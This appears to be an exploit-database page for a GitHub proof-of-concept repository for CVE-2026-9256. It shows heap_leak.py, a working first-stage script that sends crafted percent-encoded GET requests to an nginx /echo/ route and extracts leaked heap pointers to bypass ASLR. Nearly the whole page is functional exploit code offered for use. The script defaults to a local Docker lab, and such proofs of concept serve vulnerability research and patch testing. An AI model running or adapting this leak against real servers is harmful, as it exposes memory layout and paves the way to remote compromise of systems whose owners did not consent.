Exploit databaseDownload repository ZIP
GH-236dad615fa05e22d22952e972eb0c5b
3nou9h/cve-2026-9256-poc
Sources for CVE-2026-9256
3 sourcesPreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars.
Repository files5
3nou9h/cve-2026-9256-pocRevision 429cdc861026
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
heap_leak.py
Suggested starting filePython · 2,955 bytes#!/usr/bin/env python3
"""
Stage 1: Heap pointer leak via Pool Slip
Trigger: GET /echo/%25%25...A
Leak: ngx_http_script_engine_t fields (e->ip, e->sp, e->request)
Usage: python3 stage1_heap_leak.py [host] [port]
"""
import socket, struct, sys
HOST = sys.argv[1] if len(sys.argv) > 1 else "127.0.0.1"
PORT = int(sys.argv[2]) if len(sys.argv) > 2 else 19321
def check_aslr():
import subprocess
try:
r = subprocess.run(
["docker", "exec", "-i", "env-nginx-1", "sh", "-c",
"cat /proc/sys/kernel/randomize_va_space 2>/dev/null || echo unknown"],
capture_output=True, text=True, timeout=5
)
val = r.stdout.strip()
if val == "0": return "OFF"
elif val == "1": return "PARTIAL"
elif val == "2": return "ON"
return f"unknown ({val})"
except Exception:
return "unknown (docker exec failed)"
def get_body(host, port, path):
try:
s = socket.socket()
s.settimeout(10)
s.connect((host, port))
s.sendall(f"GET {path} HTTP/1.0\r\nHost: {host}\r\n\r\n".encode())
data = b""
while True:
c = s.recv(8192)
if not c: break
data += c
s.close()
return data.split(b"\r\n\r\n", 1)[1] if b"\r\n\r\n" in data else b""
except:
return b""
def leak():
print(f"[Stage 1] Heap pointer leak — {HOST}:{PORT}")
print(f"Route: /echo/ (2-layer nesting, return 200)")
print(f"ASLR: {check_aslr()}")
print()
ip_vals, sp_vals, req_vals = [], [], []
for K in range(5, 60):
body = get_body(HOST, PORT, f"/echo/{'%25' * K}A")
if not body or not body.startswith(b"x="):
continue
y_off = body.find(b"\ny=")
if y_off == -1:
continue
x_val = body[2:y_off]
y_val = body[y_off + 3:].rstrip(b"\r\n")
diff = next(
(j for j in range(min(len(x_val), len(y_val))) if x_val[j] != y_val[j]),
-1
)
if diff == -1:
continue
leaked = y_val[diff:]
for off, bucket in [(0, ip_vals), (16, sp_vals), (80, req_vals)]:
if len(leaked) >= off + 8:
v = struct.unpack_from("<Q", leaked, off)[0]
if 0x100000000000 <= v <= 0x7fffffffffff:
bucket.append(v)
print("=" * 56)
for name, vals in [("e->ip", ip_vals), ("e->sp", sp_vals), ("e->request", req_vals)]:
if vals:
v = max(set(vals), key=vals.count)
print(f"[+] {name:12s} = 0x{v:016x} ({len(vals)} samples)")
else:
print(f"[-] {name:12s} not leaked")
print("=" * 56)
print()
print(" e->ip — config pool codes array address (nginx heap)")
print(" e->sp — request pool script stack address (heap)")
print(" e->request — request struct address (heap)")
if __name__ == "__main__":
leak()